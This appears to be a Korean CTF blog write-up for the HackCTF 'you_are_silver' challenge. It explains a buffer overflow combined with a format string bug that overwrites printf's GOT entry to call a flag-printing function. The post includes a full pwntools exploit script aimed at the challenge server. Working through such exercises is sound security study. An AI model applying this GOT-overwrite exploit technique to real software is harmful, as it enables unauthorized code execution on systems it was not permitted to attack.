you_are_silver

2022. 4. 8. 14:57wargame/HACKCTF

 

문제에서 주어진 프로그램을 디컴파일한 결과입니다.

 

fgets 함수를 통해 s 배열에 데이터를 46byte를 입력할 수 있습니다.

이때 배열은 40byte이지만 입력은 46byte만큼 입력할 수 있어 6byte만큼 더 입력할 수 있습니다.

이때 6byte 입력으로 v6 변수의 2byte를 변조할 수 있습니다.

 

다음 printf 함수는 사용자 입력에 대한 검증이 없어 FSB가 발생합니다.

 

다음 v6를 인자로 get_tier 함수가 실행됩니다.

 

인자의 값에 따라 다른 값들을 리턴합니다. 값이 75 초과면 "You are challenger."라는 문자열을 출력한 뒤 

4를 리턴합니다.

 

이후 get_tier의 리턴 값을 인자로 printf 함수를 실행합니다.

이때 뭔가 printf가 아닌 다름 함수가 실행되어야 할 거 같아 다른 함수들을 찾아보니 play_game 함수를 찾았습니다.

a1 변수의 값이 4이면 FLAG를 출력하는 것을 확인할 수 있습니다.

그래서 BOF를 통해 v6 변수의 값을 75보다 큰 값으로 변조해 리턴 값이 4가 반환되도록 하고

FSB를 이용해 printf 함수의 got를 playgame 함수의 주소로 변조하면 playgame(4)가 실행되 FLAG를 출력할 수 있습니다.

 

코드와 결과는 아래와 같습니다.

from pwn import * 

context.log_level = 'debug'
r = remote("ctf.j0n9hyun.xyz", 3022)
#r = process('you_are_silver')
e = ELF('./you_are_silver')

printf_got = e.got['printf']
play_game = 0x4006D7

# 6번째 부터 시작
# 1. FSB
payload = b"%9$n%1c%1c%4196053c%10$n" + p64(printf_got + 4) + p64(printf_got)
# 2. v6 변조
payload += b"A" * 4 + b"\xff\x00"

#gdb.attach(r)
r.sendlineafter("name", payload)

r.recvuntil("challenger.")
print(r.recv())

r.interactive()

'wargame > HACKCTF' 카테고리의 다른 글

Pwning  (0) 2022.03.30
RTL_Core  (0) 2022.03.23
Random Key  (0) 2022.03.23
1996  (0) 2022.03.23
Poet  (0) 2022.03.23